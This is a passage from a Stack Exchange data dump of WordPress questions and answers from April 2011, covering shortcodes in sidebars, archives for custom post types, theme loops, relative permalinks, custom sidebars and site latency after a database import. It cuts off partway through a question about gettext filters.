  <row Id="13990" PostTypeId="2" ParentId="13925" CreationDate="2011-04-05T15:07:36.610" Score="0" ViewCount="" Body="&lt;p&gt;You could use a few well placed actions to look ahead for your shortcode, if it's found set a flag and run additional actions to first strip the content of that shortcode, then a secondary one to execute that shortcode in the sidebar. Alongside all that create a simple action of your own inside the sidebar file and hook onto that when you need to print out the shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not following? Don't blame you, i'm not always good at explaining ideas, so here's an example in code form..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, inside your sidebar where you want the shortcode content appear, add something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php do_action( 'special_shortcode_content' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We now have an action we can hook onto when a flag gets set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next we need to scan the posts, before the loop occurs, check for the existance of a particular shortcode, i'll use &lt;code&gt;[sc]&lt;/code&gt; as per your example and we can do that by hooking onto &lt;code&gt;the_posts&lt;/code&gt;. Rather than using a global, i prefer to just wrap the code into a class, and define a class variable inside the class to act as the flag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Page_Shortcode_to_Sidebar {&#xA;    private $has_shortcode = false;&#xA;    public function __construct() {&#xA;        if( is_admin() )&#xA;            return;&#xA;&#xA;        add_action( 'the_posts', array( $this, 'check_for_shortcode' ) );&#xA;        add_filter( 'the_content', array( $this, 'remove_shortcode' ), 1 ); &#xA;    }&#xA;    public function check_for_shortcode( $posts ) {&#xA;        if( empty( $posts ) )&#xA;            return $posts;&#xA;&#xA;        if( !is_page() )&#xA;            return $posts;&#xA;&#xA;        foreach( $posts as $post ) {&#xA;            if( !stripos( $post-&amp;gt;post_content, '[sc]' ) )&#xA;                continue;&#xA;            $this-&amp;gt;has_shortcode = true;&#xA;        }&#xA;        return $posts;&#xA;    }&#xA;    public function remove_shortcode( $content ) {&#xA;&#xA;        if( !$this-&amp;gt;has_shortcode )&#xA;            return $content;&#xA;&#xA;        $content = str_replace( '[sc]', '', $content );&#xA;        add_action( 'special_shortcode_content', array( $this, 'do_shortcode' ) );&#xA;&#xA;        return $content;&#xA;    }&#xA;    public function do_shortcode() {&#xA;        ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;?php do_shortcode('[sc]'); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;$Page_Shortcode_to_Sidebar = new Page_Shortcode_to_Sidebar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically what happens is this..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The callback on &lt;code&gt;the_posts&lt;/code&gt; checks each post for the shortcode, if found sets the flag.&lt;/li&gt;&#xA;&lt;li&gt;The callback on &lt;code&gt;the_content&lt;/code&gt; executes later, and checks if the flag is set.&lt;/li&gt;&#xA;&lt;li&gt;If the flag is set, the shortcode is remove from the content and adds an action onto our custom sidebar action.&lt;/li&gt;&#xA;&lt;li&gt;It returns the content, minus the specific shortcode.&lt;/li&gt;&#xA;&lt;li&gt;The sidebar action occurs, and the shortcode content is produced.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you're referring to your own shortcode that you created, and it's use in this way..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sc]something[/sc]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..then you'll need something smarter to strip the shortcode contents from the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not used like that, then what i've provided above should do the job just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-05T15:07:36.610" />
  <row Id="13991" PostTypeId="1" CreationDate="2011-04-05T15:32:02.813" Score="0" ViewCount="438" Body="&lt;p&gt;I know this is a rather common topic, but I can't seem to resolve the issue I'm having. Any help is greatly appreciated, I'm spinning my wheels at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Custom Post Type UI plugin, I've created some custom post types (I'll use 'blog' in this example). I've set has_archive =&gt; true, and I've also used a plugin called Custom Post Type Archives to get my pagination to work properly. So far, I have my permalinks, tags, categories and pagination working. However, the issue is when I try to use the wp_get_archives function. I understand this doesn't grab CPTs, so I've used the function that comes with the Custom Post Type Archives Plugin (wp_get_custom_post_archives). Depending on how I tweak the arguments, it spits out either a 404, or it loads the archives, but just displays every entry (not just those specific to the selected month). Ideally, I just want it to display monthly archives. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_get_post_type_archives('blog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look  here:&#xA;&lt;a href=&quot;http://www.metropoliscreative.com/coding/w/blog/&quot; rel=&quot;nofollow&quot;&gt;http://www.metropoliscreative.com/coding/w/blog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used this to register the post type and believe I've done it properly. Not sure what I'm doing wrong at this point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('blog', array(   &#xA;        'label' =&amp;gt; 'Blog',&#xA;        'description' =&amp;gt; 'Blog Entries',&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'blog'),&#xA;        'has_archive' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title','editor','excerpt','trackbacks','custom-fields','comments','revisions','thumbnail','author','page-attributes',),&#xA;    'taxonomies' =&amp;gt; array('category','post_tag',),&#xA;    'labels' =&amp;gt; array (&#xA;      'name' =&amp;gt; 'Blog',&#xA;      'singular_name' =&amp;gt; 'Blog',&#xA;      'menu_name' =&amp;gt; 'Blog',&#xA;      'add_new' =&amp;gt; 'Add Blog',&#xA;      'add_new_item' =&amp;gt; 'Add New Blog',&#xA;      'edit' =&amp;gt; 'Edit',&#xA;      'edit_item' =&amp;gt; 'Edit Blog',&#xA;      'new_item' =&amp;gt; 'New Blog',&#xA;      'view' =&amp;gt; 'View Blog',&#xA;      'view_item' =&amp;gt; 'View Blog',&#xA;      'search_items' =&amp;gt; 'Search Blog',&#xA;      'not_found' =&amp;gt; 'No Blog Found',&#xA;      'not_found_in_trash' =&amp;gt; 'No Blog Found in Trash',&#xA;      'parent' =&amp;gt; 'Parent Blog',&#xA;    ),) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2011-08-29T00:36:14.847" Title="Get monthly archives for custom post type" Tags="&lt;custom-post-types&gt;&lt;custom-post-type-archives&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="13992" PostTypeId="2" ParentId="13935" CreationDate="2011-04-05T15:43:35.390" Score="1" ViewCount="" Body="&lt;p&gt;Well after a good bit of searching I seem to have this working, I hope this helps someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;col1&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;             if (get_option('woo_show_carousel') == 'true' AND !is_paged()) { include (TEMPLATEPATH . &quot;/includes/featured.php&quot;);}&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;        if (is_paged()) $is_paged = true;&#xA;&#xA;        if (get_option('woo_slider_exclude') == &quot;true&quot;) $shownslides = get_option('woo_shown_slides');&#xA;        if(empty($showslides) || get_option('woo_show_carousel') == 'false'){&#xA;            $showslides = array();&#xA;        }  &#xA;&#xA;         $showvideo = get_option('woo_show_video');&#xA;         $vidtags = get_option('woo_video_tags');&#xA;         if(!empty($vidtags)) {&#xA;            $vidtags_array = explode(',',$vidtags);&#xA;         } else {&#xA;             $vidtags_array = array();&#xA;         }&#xA;&#xA;         global $wpdb;&#xA;         foreach ($vidtags_array as $tag_name){&#xA;             $tag_name = trim($tag_name);&#xA;             $tagid = $wpdb-&amp;gt;get_var(&quot;SELECT term_ID FROM $wpdb-&amp;gt;terms WHERE name='$tag_name'&quot;);&#xA;             $tagids[] = $tagid;  &#xA;         }                &#xA;         $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; &#xA;&#xA;            $taxonomy = 'category';//  e.g. post_tag, category&#xA;    $param_type = 'category__in'; //  e.g. tag__in, category__in&#xA;    $term_args=array(&#xA;         'include' =&amp;gt; '3,4,5,6,11,14',&#xA;         'orderby' =&amp;gt; 'ID',&#xA;         'order' =&amp;gt; 'ASC'&#xA;        );&#xA;            $terms = get_terms($taxonomy,$term_args);&#xA;    if ($terms) {&#xA;    foreach( $terms as $term ) {&#xA;            $args = array(&#xA;                    &quot;$param_type&quot; =&amp;gt; array($term-&amp;gt;term_id),&#xA;            'post_type' =&amp;gt; 'post',&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'posts_per_page' =&amp;gt; 1,&#xA;            'caller_get_posts'=&amp;gt; 1,&#xA;                'post__not_in' =&amp;gt; $shownslides,&#xA;                'tag__not_in' =&amp;gt; $tagids,&#xA;                'paged'=&amp;gt; $paged&#xA;                );&#xA;         query_posts($args);&#xA;&#xA;&#xA;         $home_content = get_option('woo_home_content');&#xA;         $home_boxes = get_option('woo_home_boxes');&#xA;&#xA;         static $counter = 0; &#xA;&#xA;         if (have_posts()) : &#xA;&#xA;         $full = FALSE;&#xA;&#xA;         $width = get_option('woo_full_thumb_width');&#xA;         $height = get_option('woo_full_thumb_height');&#xA;&#xA;         if( $home_boxes == 'On') { $small = TRUE; }&#xA;         elseif ($home_boxes == 'Off') { $full = TRUE; } &#xA;         else {  $large_posts = intval($home_boxes); }&#xA;&#xA;         while (have_posts()) : the_post();&#xA;&#xA;        $counter++;&#xA;            $post_class = 'full'; &#xA;            if( ($counter &amp;gt; $large_posts OR $small == TRUE) AND $full ==  FALSE)&#xA;            {&#xA;                $width = get_option('woo_boxed_thumb_width');&#xA;                $height = get_option('woo_boxed_thumb_height');&#xA;                if( $small == FALSE ) $counter = 1;&#xA;                $small = true;&#xA;                    if ($counter%2 == 0 ) { $post_class = 'fr';  } &#xA;                    else { $post_class = 'fl'; }&#xA;            }&#xA;&#xA;         ?&amp;gt; &#xA;        &amp;lt;div class=&quot;post-outer post &amp;lt;?php echo $post_class; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;post-inner post-alt&quot;&amp;gt;       &#xA;&#xA;                &amp;lt;?php woo_get_image('image',$width,$height); ?&amp;gt; &#xA;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a title=&quot;&amp;lt;?php _e('Permalink to ',woothemes); ?&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&quot; href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p class=&quot;category-head cufon&quot;&amp;gt;&amp;lt;?php the_category(', ') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;?php if ($home_content == 'false') { ?&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php echo strip_tags(get_the_excerpt(), '&amp;lt;a&amp;gt;&amp;lt;strong&amp;gt;'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;                    &amp;lt;?php the_content(__('Continue Reading',woothemes)); ?&amp;gt;                     &#xA;                &amp;lt;?php } ?&amp;gt;            &#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--/post-inner--&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--/post--&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($counter%2 == 0 AND $small == TRUE ) { echo '&amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;'; } ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php endif; &#xA;        }&#xA;        }&#xA;        wp_reset_query(); &#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;more_entries&quot;&amp;gt;&#xA;            &amp;lt;?php if (function_exists('wp_pagenavi')) wp_pagenavi(); else { ?&amp;gt;&#xA;                &amp;lt;div class=&quot;fl&quot;&amp;gt;&amp;lt;?php previous_posts_link(__('&amp;amp;laquo; Newer Entries ',woothemes)) ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;fr&quot;&amp;gt;&amp;lt;?php next_posts_link(__(' Older Entries &amp;amp;raquo;',woothemes)) ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;br class=&quot;fix&quot; /&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;      &#xA;&#xA;        &amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php &#xA;            if (get_option('woo_show_video') == 'true') { include (TEMPLATEPATH . &quot;/includes/video.php&quot;);}&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;            if (get_option('woo_show_talking_points') == 'true') { include (TEMPLATEPATH . &quot;/includes/talking-points.php&quot;);}&#xA;        ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/col1--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="2564" LastEditorUserId="2564" LastEditorDisplayName="" LastEditDate="2011-04-06T15:44:41.343" LastActivityDate="2011-04-06T15:44:41.343" />
  <row Id="13993" PostTypeId="2" ParentId="12916" CreationDate="2011-04-05T15:53:41.357" Score="0" ViewCount="" Body="&lt;p&gt;You can always add &lt;code&gt;orderby&lt;/code&gt; to your URLs to specify a field to order the posts. Earlier today I gave an answer on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13483/rewrite-rules-for-ordering-archive-pages/13975#13975&quot;&gt;how to do this with &quot;nice&quot; URLs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you (&quot;only&quot;) need to generate the links on each archive page. This should be rather easy, but I think you can find plugins for that too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T15:53:41.357" />
  <row Id="13995" PostTypeId="2" ParentId="13418" CreationDate="2011-04-05T16:25:56.417" Score="0" ViewCount="" Body="&lt;p&gt;There is a filter, &lt;code&gt;post_link&lt;/code&gt;, that permalinks pass through before being returned from &lt;code&gt;get_permalink&lt;/code&gt; in &lt;code&gt;wp-includes/link-template.php&lt;/code&gt;. You can use that filter to alter the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, beware that making all permalinks relative may have unintended consequences in certain contexts, e.g. you might not want relative links when &lt;code&gt;is_feed() == true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find that the &lt;code&gt;post_link&lt;/code&gt; filter doesn't catch all of the URLs you need changed. In that case, you can try the &lt;code&gt;home_url&lt;/code&gt; filter which has much broader effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility (my favorite) is to use output buffering to relativize the links. (Example at bottom.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be safe, you can change the links only when necessary. I don't know how you're getting the content from the actual blog to the static subdomain, but if you're using HTTP requests you can add a query arg: &lt;code&gt;?rlz&lt;/code&gt; and then look for that in your theme/plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset($_GET['rlz']) ) {&#xA;    function my_ob_handler($HTML) {&#xA;        return str_replace( home_url('/'), '/', $HTML );&#xA;    }&#xA;    ob_start( 'my_ob_handler' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-04-05T16:25:56.417" CommentCount="1" />
  <row Id="13996" PostTypeId="1" CreationDate="2011-04-05T16:31:51.373" Score="0" ViewCount="215" Body="&lt;p&gt;I am trying to make a simple plugin that sets a background image. I have it linked to the media library so that when you click &quot;Insert into Post&quot; it does a custom function. However, obviously this custom function is undesirable in any other context. As such I would like to make a separate button &quot;Make Background&quot; that would call the custom function. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4462" LastActivityDate="2011-09-02T23:40:01.797" Title="Custom &quot;Insert into Post&quot; button" Tags="&lt;uploads&gt;&lt;media-library&gt;" AnswerCount="1" />
  <row Id="13997" PostTypeId="1" AcceptedAnswerId="13998" CreationDate="2011-04-05T16:57:29.083" Score="0" ViewCount="95" Body="&lt;p&gt;I want to have different sidebars on different pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly I registered a few basic sidebars in functions.php. So they will be always there no matter where I move my theme. Let's name them Standard Sidebar, Special Sidebar, Tiny Sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step was creating sidebars metabox below posts and pages. It lists all the sidebars using foreach $GLOBALS['wp_registered_sidebars'] loop and allows user to pick one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here comes the trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to display my sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a meta value but get_sidebar() accepts only names from sidebar.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about registered (not included in sidebar.php) sidebars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could add all my sidebars to sidebar.php/save them as sidebar-name.php, but again, I'm going to use sidebar generator to add addtional sidebars to three basic ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, walk-troughs how to accomplish this? Displaying registered sidebars by name will be a serious breakthrough in my case.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-05T17:19:19.820" Title="Custom sidebars - get_sidebar() problems" Tags="&lt;sidebar&gt;&lt;metabox&gt;&lt;register-sidebar&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13998" PostTypeId="2" ParentId="13997" CreationDate="2011-04-05T17:19:19.820" Score="1" ViewCount="" Body="&lt;p&gt;You can call registered sidebars with the dynamic_sidebar() function. Just put the ID of the sidebar in to the call. In the case below the id would be homepage-sidebar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('homepage-sidebar') ) : ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-04-05T17:19:19.820" CommentCount="4" />
  <row Id="13999" PostTypeId="2" ParentId="13900" CreationDate="2011-04-05T17:54:18.947" Score="3" ViewCount="" Body="&lt;p&gt;To add to what Rarst said but I think this post is border line trolling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.It's fairly slow&lt;/strong&gt;  You need to provide more details, a site with hundreds of thousands of pages and 1 million views a month is not the same as a regular blog/portfolio. It is rather simple and very common to have a WordPress site load in well under 2 second depending on hosting/plugins/media/optimization. This is not really a wordpress specific issue unless you have a very large site. Your understanding of page speed seems to be poor, website optimization is a lot more than Yslow.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have a dynamic site with a fair amount of images, widgets, 5 remote rss feed item, and 10 posts, the initial load is 2.9 seconds with no cache, reloaded with cache it is 1.02seconds. I can say this is about normal for all my WordPress sites. ( most of the initial 2.9 sec load are images which the cache clearly makes use of on reload.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. It's often overly complex for the needs of a simple website&lt;/strong&gt;&#xA;WordPress is without a doubt one of the easiest CMS's that maintains some fairly advanced features. If you not taking advantage of those features then why are you using WordPress to begin with? If you find it complex, what are you comparing this with, .net, static html, nodejs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. It has a lot of security issues (especially when using plugins)&lt;/strong&gt;&#xA;It does? WordPress itself is secure, especially in the last year+, there have been no major issues. Most WordPress security problems come from pure ignorance on the part of the users downloading malware themes, poorly written plugins, not updating their site, and bad hosting. By far the vast majority of security issues are not related to the WordPress core at all. I can provide very specific examples if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. It's difficult to optimize page-load times&lt;/strong&gt;&#xA;I really don't think that is accurate, there are a handful of great plugins that make optimizing WordPress a breeze compared to manually doing everything ( which used to be the norm). These plugins literally save days of work by optimally caching, minifying, using CDN's, etc, etc, with literally the click of a button, how do you find that difficult? Do you have any actual specific data we can look at?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-05T17:54:18.947" />
  <row Id="14000" PostTypeId="2" ParentId="13996" CreationDate="2011-04-05T18:04:58.687" Score="0" ViewCount="" Body="&lt;p&gt;If you want it to show up in the image edit, say next to &quot;insert into post&quot; you will need to hook into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;attachment_fields_to_edit &#xA;//for instance&#xA;add_filter( 'attachment_fields_to_edit', 'yourfunction', 1, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at media.php&#xA;&lt;a href=&quot;http://mobile.adambrown.info/p/wp_hooks/hook/attachment_fields_to_edit?version=3.1&amp;amp;file=wp-admin/includes/media.php&quot; rel=&quot;nofollow&quot;&gt;http://mobile.adambrown.info/p/wp_hooks/hook/attachment_fields_to_edit?version=3.1&amp;amp;file=wp-admin/includes/media.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-05T18:04:58.687" CommentCount="2" />
  <row Id="14001" PostTypeId="1" CreationDate="2011-04-05T18:10:28.197" Score="0" ViewCount="141" Body="&lt;p&gt;I develop wordpress sites for a living, and today I am experiencing something that I haven't yet come across: Extremely slow load times / latency problems. You can view the site here: &lt;a href=&quot;http://ziprecords.com.previewdns.com/&quot; rel=&quot;nofollow&quot;&gt;http://ziprecords.com.previewdns.com/&lt;/a&gt;  Here are the steps I took:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Developed a theme on localhost, everything worked perfectly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exported data from within wordpress backend&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Opened up Godaddy account and set up new shared hosting account, and installed Wordpress using their self-installer. I am testing this site using their 'preview DNS', which enables you to view the site live before connecting a domain. Godaddy assured me, this works fine with WP installs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I then attempted to import the data from the local install. There was errors on the media uploads (failed to import media).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I manually uploaded media files, and relinked the pictures to all my posts (from this point on, I knew something was fishy)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I went to my local phpMyAdmin and exported the entire database in SQL. (keep in mind, I am using a plugin called shopp, which powers the ecommerce section of the site. These tables were included in the export)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a text editor, I replaced all of the local host references to the new domain URL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I went to my Godaddy phpMyAdmin and dropped all of the pre-existing wordpress tables. I then imported the SQL database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I then went to the site and looked at it. It was pretty darn slow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It seemed like as I entered more products into the shop and more content on the site, it became slower and slower, but perhaps that is a coincidental. I am experiencing some SEVERE latency/speed problems. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I called Godaddy, and after some tests, they said everything is fine on their end. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I then tried testing this out on ANOTHER server using the exact sames steps as above. When I tried uploading the XML backup, EVERYTHING failed to import, even post types and post content. When I tried importing the SQL, everything works fine. The new site is working as I wish as far as speed, however, all of the content is completely missing, due to the failed import.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So now I am stuck in a situation where I am unable to target the cause of this problem, and I don't have a working test environment because the Wordpress import fails every time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latency problems could be on Godaddys end; however, I am sure that something is screwed on on the WP DB, as indicated by the failed media imports/ exports, as well as the extremely slow latency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4357" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T19:11:50.753" LastActivityDate="2011-09-03T04:40:45.737" Title="latency problems with wordpress install (from SQL import)" Tags="&lt;mysql&gt;&lt;import&gt;&lt;sql&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="14002" PostTypeId="1" AcceptedAnswerId="25421" CreationDate="2011-04-05T18:13:07.587" Score="0" ViewCount="106" Body="&lt;p&gt;for a small project i need to assign the &lt;a href=&quot;http://wordpress.org/extend/plugins/the-events-calendar/&quot; rel=&quot;nofollow&quot;&gt;The Events Calendar&lt;/a&gt; Plugin to an subpage but i've found no solution in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible or has an idea to get it done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="4408" LastActivityDate="2011-08-09T13:40:30.103" Title="Assign &quot;The Events Calendar&quot; to Subpage" Tags="&lt;3.0&gt;&lt;plugin-events-calendar&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="14003" PostTypeId="2" ParentId="13983" CreationDate="2011-04-05T18:16:39.857" Score="1" ViewCount="" Body="&lt;p&gt;The implementation of menu items depends on your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For newer or well maintained and updated theme it is usually implementation of &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Custom Menus&lt;/a&gt; feature. For the rest it could be anything from auto-generated list of pages to custom theme settings page in admin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-05T18:16:39.857" />
  <row Id="14004" PostTypeId="1" AcceptedAnswerId="14011" CreationDate="2011-04-05T18:23:56.470" Score="2" ViewCount="98" Body="&lt;p&gt;First a teeny bit of background... I have a custom post type where I'd like to use custom post statuses.  Since custom post statuses &lt;a href=&quot;http://www.usingenglish.com/forum/ask-teacher/4657-plural-word-status.html&quot; rel=&quot;nofollow&quot;&gt;(stati/status/whatever)&lt;/a&gt;, have not been fully implemented within the core, I've decided to use the gettetext filters to change the names of certain things.  For example, I've changed the text &quot;Publish&quot; on the publish button to say &quot;Save&quot;. I went with something like &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3578/change-the-text-on-the-publish-button/3674#3674&quot;&gt;Rarst's approach here&lt;/a&gt;. A summary of my code is below.  I'm really not going for anything drastic here as far as changing what each status does/is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the translation works just fine as far as PHP is concerned.  However, while testing, I realized that if I click the Edit link within the misc publishing actions div, then click the cancel link that subsequently appears, my translated &quot;Save&quot; button will revert to a &quot;Publish&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to happen as a result of the javascript function &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/js/post.dev.js#L370&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;updateText()&lt;/code&gt; found in &lt;code&gt;/wp-admin/js/post.dev.js&lt;/code&gt;&lt;/a&gt;.  I'm looking for a way to keep the JS from stomping my translation. I'd prefer not to just mess with it using DOM manipulation, but if that's my only option, I'll go for it. I'm running 3.1, btw. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class MyClass {&#xA;&#xA;        function __contsruct() {&#xA;            add_action( 'admin_head', array ( &amp;amp;$this, 'load_gettext_filters' ) );&#xA;        }&#xA;&#xA;        function load_gettext_filters() {&#xA;            add_filter( 'gettext', array ( &amp;amp;$this, 'change_publishing_text' ), 10, 2 );&#xA;        }&#xA;&#xA;        function change_publishing_text( $translation, $text ) {&#xA;            global $post;&#xA;&#xA;            if ( ! isset ( $post-&amp;gt;post_type ) ) {&#xA;                return $translation;&#xA;            }&#xA;&#xA;            if ( 'mypost' === $post-&amp;gt;post_type ) {&#xA;                if ( ( 'Publish' === $text ) ) {&#xA;                    return 'Save';&#xA;                }&#xA;            }&#xA;            return $translation;&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2807" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T18:29:45.903" 